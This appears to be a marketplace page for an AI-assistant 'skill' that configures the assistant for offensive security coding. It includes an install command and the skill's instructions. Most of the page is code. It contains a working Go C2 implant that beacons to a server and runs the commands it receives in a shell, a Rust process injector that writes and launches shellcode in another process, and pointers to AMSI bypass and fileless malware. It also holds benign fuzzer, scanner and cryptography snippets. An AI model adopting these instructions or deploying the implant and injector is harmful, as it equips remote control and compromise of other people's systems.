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Coding Mastery Skill for Claude

Use when writing security tooling, exploits, scanners, or C2 in Python/C/Go/Rust/ASM — systems & network programming, automation, cryptography implementation

16k tokens
context cost
the whole folder, loaded on every use
7
files
ships runnable scripts
0
copies elsewhere
how many repositories repackaged it
334
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill coding-mastery

What comes with it

48 352 bytes besides the instruction
scripts/_lib/action_guard.py
scripts/_lib/http_creds.py
scripts/_lib/redact_headers.py
scripts/_lib/safe_subprocess.py
scripts/_lib/scope_guard.py
scripts/lib.sh

The instruction itself

20 sections, as written by the author

Coding Mastery

When to Activate

  • Writing exploit code, PoCs, or security tools
  • Developing automation scripts for pentesting workflows
  • Implementing network protocols or custom C2
  • Building security analysis tools
  • Cryptographic implementation or analysis
  • Performance-critical systems programming

Languages & Use Cases

Python (Primary — Offensive Tooling)

# Exploit development with pwntools
from pwn import *
context(arch='amd64', os='linux')

# Network programming
import socket, ssl, struct
import asyncio, aiohttp  # async operations

# Web exploitation
import requests, urllib3
from bs4 import BeautifulSoup

# Crypto
from Crypto.Cipher import AES, DES
from Crypto.PublicKey import RSA
import hashlib, hmac

# Binary analysis
import struct, ctypes
from capstone import *  # disassembly
from unicorn import *   # emulation
from keystone import *  # assembly

C/C++ (Systems & Exploit Dev)

// Shellcode development
// Position-independent code, null-free
// Syscall-based (avoid libc dependency)

// Kernel module development
#include <linux/module.h>
#include <linux/kernel.h>

// Windows API abuse
#include <windows.h>
#include <winternl.h>
// Direct syscalls, NTAPI

// Memory manipulation
// Custom allocators, heap spray, ROP gadget finders

Go (Offensive Tooling & C2)

// Implant development (cross-compile, static binary)
// C2 communication (HTTP/DNS/named pipes)
// Network scanning and enumeration
// Proxy/tunnel tools (chisel-like)

// Advantages: single binary, cross-platform, fast, good crypto stdlib

Rust (High-Performance Security Tools)

// Memory-safe exploit tooling
// High-performance scanners
// Custom protocol implementations
// Fuzzing harnesses

PowerShell (Windows Post-Exploitation)

# AMSI bypass, ETW patching
# In-memory execution (reflection)
# AD enumeration and exploitation
# Fileless malware techniques

Assembly (x86/x64/ARM)

; Shellcode
; ROP gadgets
; Anti-debugging
; Kernel exploitation
; Architecture-specific tricks

Design Patterns for Security Tools

Scanner Architecture

import asyncio
from dataclasses import dataclass
from typing import AsyncIterator

@dataclass
class Finding:
    severity: str
    target: str
    vulnerability: str
    evidence: str

class Scanner:
    def __init__(self, targets: list[str], concurrency: int = 50):
        self.targets = targets
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def scan_target(self, target: str) -> list[Finding]:
        async with self.semaphore:
            # Implement scan logic
            pass
    
    async def run(self) -> AsyncIterator[Finding]:
        tasks = [self.scan_target(t) for t in self.targets]
        for coro in asyncio.as_completed(tasks):
            findings = await coro
            for f in findings:
                yield f

C2 Communication Pattern

import base64, json, time, random
from cryptography.fernet import Fernet

class Beacon:
    def __init__(self, server: str, key: bytes, jitter: float = 0.3):
        self.server = server
        self.cipher = Fernet(key)
        self.jitter = jitter
        self.sleep_time = 60
    
    def encrypt(self, data: bytes) -> str:
        return base64.b64encode(self.cipher.encrypt(data)).decode()
    
    def decrypt(self, data: str) -> bytes:
        return self.cipher.decrypt(base64.b64decode(data))
    
    def sleep(self):
        jitter = random.uniform(1 - self.jitter, 1 + self.jitter)
        time.sleep(self.sleep_time * jitter)
    
    def checkin(self) -> dict:
        # POST encrypted system info, receive tasking
        pass

Network Protocol Implementation

import struct

class ProtocolParser:
    def __init__(self, data: bytes):
        self.data = data
        self.offset = 0
    
    def read_u8(self) -> int:
        val = struct.unpack_from('B', self.data, self.offset)[0]
        self.offset += 1
        return val
    
    def read_u16(self) -> int:
        val = struct.unpack_from('>H', self.data, self.offset)[0]
        self.offset += 2
        return val
    
    def read_u32(self) -> int:
        val = struct.unpack_from('>I', self.data, self.offset)[0]
        self.offset += 4
        return val
    
    def read_bytes(self, n: int) -> bytes:
        val = self.data[self.offset:self.offset + n]
        self.offset += n
        return val
    
    def read_string(self) -> str:
        length = self.read_u16()
        return self.read_bytes(length).decode()

Cryptography Patterns

# AES-GCM (authenticated encryption)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

key = AESGCM.generate_key(bit_length=256)
aes = AESGCM(key)
nonce = os.urandom(12)
ct = aes.encrypt(nonce, plaintext, associated_data)
pt = aes.decrypt(nonce, ct, associated_data)

# RSA key generation and usage
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
public_key = private_key.public_key()

# Encrypt
ct = public_key.encrypt(plaintext, padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(), label=None))

# HMAC for integrity
import hmac, hashlib
mac = hmac.new(key, message, hashlib.sha256).digest()

# Key derivation
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=600000)
key = kdf.derive(password)

Advanced: Exploit Development Patterns

Custom Fuzzer Architecture

import os, signal, subprocess, struct, random
from multiprocessing import Pool

class CoverageFuzzer:
    def __init__(self, target_binary, corpus_dir, crashes_dir):
        self.target = target_binary
        self.corpus = self._load_corpus(corpus_dir)
        self.crashes_dir = crashes_dir
        self.coverage = set()
    
    def mutate(self, data: bytes) -> bytes:
        mutations = [
            self._bit_flip,
            self._byte_flip,
            self._insert_interesting,
            self._splice,
            self._havoc,
        ]
        mutator = random.choice(mutations)
        return mutator(data)
    
    def _bit_flip(self, data: bytes) -> bytes:
        d = bytearray(data)
        pos = random.randint(0, len(d) * 8 - 1)
        d[pos // 8] ^= (1 << (pos % 8))
        return bytes(d)
    
    def _insert_interesting(self, data: bytes) -> bytes:
        interesting = [0, 1, 0x7f, 0x80, 0xff, 0xffff, 0x7fffffff, 0x80000000, 0xffffffff]
        d = bytearray(data)
        pos = random.randint(0, len(d) - 4)
        val = random.choice(interesting)
        struct.pack_into('<I', d, pos, val & 0xffffffff)
        return bytes(d)
    
    def run_target(self, input_data: bytes) -> tuple:
        """Returns (exit_code, new_coverage)"""
        proc = subprocess.run(
            [self.target], input=input_data, capture_output=True,
            timeout=5, env={**os.environ, 'ASAN_OPTIONS': 'detect_leaks=0'}
        )
        if proc.returncode < 0:  # Signal = crash
            return (proc.returncode, True)
        return (proc.returncode, False)

    def fuzz_loop(self, iterations=100000):
        for i in range(iterations):
            seed = random.choice(self.corpus)
            mutated = self.mutate(seed)
            code, crashed = self.run_target(mutated)
            if crashed:
                crash_path = f"{self.crashes_dir}/crash_{i:06d}"
                open(crash_path, 'wb').write(mutated)

C2 Implant Architecture (Go)

package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "encoding/json"
    "io"
    "net/http"
    "os/exec"
    "runtime"
    "time"
)

type Beacon struct {
    Server    string
    Key       []byte
    Sleep     time.Duration
    Jitter    float64
    KillDate  time.Time
}

type Task struct {
    ID      string `json:"id"`
    Command string `json:"cmd"`
    Args    string `json:"args"`
}

type Result struct {
    TaskID string `json:"task_id"`
    Output string `json:"output"`
    Error  string `json:"error,omitempty"`
}

func (b *Beacon) Encrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonce := make([]byte, gcm.NonceSize())
    io.ReadFull(rand.Reader, nonce)
    return gcm.Seal(nonce, nonce, data, nil), nil
}

func (b *Beacon) Decrypt(data []byte) ([]byte, error) {
    block, _ := aes.NewCipher(b.Key)
    gcm, _ := cipher.NewGCM(block)
    nonceSize := gcm.NonceSize()
    return gcm.Open(nil, data[:nonceSize], data[nonceSize:], nil)
}

func (b *Beacon) CheckIn() (*Task, error) {
    sysinfo := map[string]string{
        "os": runtime.GOOS, "arch": runtime.GOARCH,
    }
    body, _ := json.Marshal(sysinfo)
    enc, _ := b.Encrypt(body)
    
    resp, err := http.Post(b.Server+"/api/beacon",
        "application/octet-stream",
        bytes.NewReader(enc))
    if err != nil { return nil, err }
    defer resp.Body.Close()
    
    respBody, _ := io.ReadAll(resp.Body)
    dec, _ := b.Decrypt(respBody)
    var task Task
    json.Unmarshal(dec, &task)
    return &task, nil
}

func (b *Beacon) Execute(task *Task) *Result {
    var cmd *exec.Cmd
    switch runtime.GOOS {
    case "windows":
        cmd = exec.Command("cmd.exe", "/c", task.Args)
    default:
        cmd = exec.Command("/bin/sh", "-c", task.Args)
    }
    output, err := cmd.CombinedOutput()
    result := &Result{TaskID: task.ID, Output: base64.StdEncoding.EncodeToString(output)}
    if err != nil { result.Error = err.Error() }
    return result
}

Network Protocol Fuzzer

import socket, struct, random, itertools
from dataclasses import dataclass, field

@dataclass
class ProtocolField:
    name: str
    fmt: str  # struct format
    value: int = 0
    fuzzable: bool = True
    
    @property
    def size(self): return struct.calcsize(self.fmt)
    
    def pack(self): return struct.pack(self.fmt, self.value)
    
    def fuzz(self):
        boundaries = [0, 1, self.max_val - 1, self.max_val, self.max_val // 2]
        return random.choice(boundaries + [random.randint(0, self.max_val)])
    
    @property
    def max_val(self): return (1 << (self.size * 8)) - 1

class ProtocolFuzzer:
    def __init__(self, host, port, fields: list[ProtocolField]):
        self.host, self.port = host, port
        self.fields = fields
    
    def build_packet(self, fuzz_field=None) -> bytes:
        pkt = b''
        for f in self.fields:
            if f.name == fuzz_field and f.fuzzable:
                pkt += struct.pack(f.fmt, f.fuzz())
            else:
                pkt += f.pack()
        return pkt
    
    def send(self, packet: bytes) -> bytes:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((self.host, self.port))
        s.send(packet)
        try: resp = s.recv(4096)
        except: resp = b''
        s.close()
        return resp
    
    def fuzz_all_fields(self, iterations=1000):
        for i in range(iterations):
            field = random.choice([f for f in self.fields if f.fuzzable])
            pkt = self.build_packet(fuzz_field=field.name)
            try:
                resp = self.send(pkt)
                if not resp:
                    print(f"[!] No response fuzzing {field.name} iter {i}")
            except ConnectionRefusedError:
                print(f"[!!!] CRASH fuzzing {field.name} iter {i}")
                open(f"crash_{i}.bin", 'wb').write(pkt)

Windows API Wrapper (Rust — Safe Offensive Tooling)

use std::ptr;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::System::Threading::*;
use windows_sys::Win32::Foundation::*;

pub struct ProcessInjector {
    pid: u32,
    handle: HANDLE,
}

impl ProcessInjector {
    pub fn open(pid: u32) -> Result<Self, u32> {
        let handle = unsafe {
            OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
        };
        if handle == 0 { return Err(unsafe { GetLastError() }); }
        Ok(Self { pid, handle })
    }
    
    pub fn inject(&self, shellcode: &[u8]) -> Result<HANDLE, u32> {
        let base = unsafe {
            VirtualAllocEx(self.handle, ptr::null(), shellcode.len(),
                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        };
        if base.is_null() { return Err(unsafe { GetLastError() }); }
        
        let mut written = 0;
        unsafe {
            WriteProcessMemory(self.handle, base, shellcode.as_ptr() as _,
                shellcode.len(), &mut written);
            
            let mut old = 0u32;
            VirtualProtectEx(self.handle, base, shellcode.len(),
                PAGE_EXECUTE_READ, &mut old);
            
            let thread = CreateRemoteThread(self.handle, ptr::null(),
                0, Some(std::mem::transmute(base)), ptr::null(), 0, ptr::null_mut());
            
            if thread == 0 { return Err(GetLastError()); }
            Ok(thread)
        }
    }
}

impl Drop for ProcessInjector {
    fn drop(&mut self) {
        unsafe { CloseHandle(self.handle); }
    }
}

Async Port Scanner

import asyncio, socket, struct
from typing import AsyncIterator

async def scan_port(host: str, port: int, timeout: float = 1.0) -> int | None:
    try:
        _, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=timeout)
        writer.close()
        await writer.wait_closed()
        return port
    except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
        return None

async def scan_host(host: str, ports: range, concurrency: int = 500) -> AsyncIterator[int]:
    sem = asyncio.Semaphore(concurrency)
    async def _scan(port):
        async with sem:
            return await scan_port(host, port)
    
    tasks = [asyncio.create_task(_scan(p)) for p in ports]
    for task in asyncio.as_completed(tasks):
        result = await task
        if result:
            yield result

async def service_detect(host: str, port: int) -> str:
    """Grab banner for service identification"""
    try:
        reader, writer = await asyncio.wait_for(
            asyncio.open_connection(host, port), timeout=2.0)
        # Send probe
        writer.write(b'\r\n')
        await writer.drain()
        banner = await asyncio.wait_for(reader.read(1024), timeout=2.0)
        writer.close()
        return banner.decode(errors='ignore').strip()
    except:
        return ""

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